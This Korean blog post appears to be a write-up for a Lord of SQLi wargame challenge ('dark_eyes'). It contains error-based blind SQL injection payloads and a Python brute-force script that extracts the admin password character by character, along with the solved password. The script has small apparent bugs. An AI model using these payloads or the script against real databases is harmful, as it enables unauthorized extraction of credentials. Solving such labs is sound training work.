안녕하세요 저번에 이어서 계속 풀어보겠습니다.
이젠 if문을 막고 저번 문제처럼 비밀번호를 찾아야 하는 문제네요
더군다나 if(mysqli_error($db)) exit(); 이렇게 문법 오류가 나면 아예 종료하게 해놨네요!
그럼.. 저는 union을 이용하겠습니다.
일단 만약 select 1을 하면 1이 출력이 되잖아요?
그럼 select 1>0 이렇게 하면 1은 0보다 크니 참이잖아요? 그러니
1이 출력이 되어서 select 1이 출력을 하게 됩니다.
더 나아가서 select 1 union select 1>0 이면 어떻게 될까요?
그럼 결국 select 1 union select 1 이 되어서 1이 출력이 될 겁니다.
만약 select 1 union select 1>2 이면 select 1 union select 0이 출력이 되어서
2행이 나오게 됩니다. 그럼 sql은 한 행씩 출력을 하는데 이렇게 2행을 출력하게 되면 오류가 나서
흰 창이 나오게 될 겁니다!
?pw=1' OR (select 1 union select 1>2) %23
?pw=1' OR (select 1 union select 1>0)%23
그럼 이 성질을 이용해서 admin의 비밀번호 길이을 알아내겠습니다!
?pw=1' OR (select 1 union select length(pw)={길이값}) AND id='admin'%23
SQL문은 AND 먼저 연산하니깐 굳이 괄호 해도 되고 안 해도 됩니다.
1부터 쭉쭉쭉 해봤습니다.
?pw=1' OR (select 1 union select length(pw)=8) AND id='admin'%23
그럼 이제 substring 함수를 이용해서 일일이 대입해서 흰 화면이면 거짓
참이면 이 화면이 나오면 되겠죠?
파이썬 작성하겠습니다.
import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********
url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php" #공격할 url 작성
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Cookie": "PHPSESSID=irpn27e63or5bdngpo3rbuse04"
} #header 기본 구문, 쿠키도 작성
def blind_sqli(blind_query) :
while True :
query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")
index_value = "dark" #참 거짓 식별용
value = binarySearch(query,index_value)
print(value + "\n")
def binarySearch(query, index_value) :
s = 1
value = ""
for j in range(8) :
for i in range(32, 127) : #공백부터 ~까지 대입
data = {
"pw": blind_query.format(query, s, i)
}
response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기
if index_value in response.text :
value += chr(i)
s+=1
print(value) #잘되나 확인용
return value
blind_query = "?pw=1' OR (select 1 union select ascii(substring({},{},1))={}) AND id='admin'#" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작
그리고 실행해보겠습니다.
꼭 URL이랑 쿠키값 변경사항 있으면 수정하셔야 됩니다!
오히려 전에 있던 문제보다 쉬웠는데 괜히 더 어렵게 생각하다가 오래 걸렸네요!
?pw=5a2f5d3c
감사합니다!
'워게임' 카테고리의 다른 글
los rubiya - 24(evil_wizard) 풀이 (1) | 2023.05.24 |
---|---|
los rubiya - 23(hell_fire) 풀이 (0) | 2023.05.24 |
los rubiya - 21(iron_golem) 풀이 (0) | 2023.05.18 |
los rubyia - 19번 20번 풀이 (0) | 2023.05.16 |
los rubiya -17,18풀이 (0) | 2023.05.15 |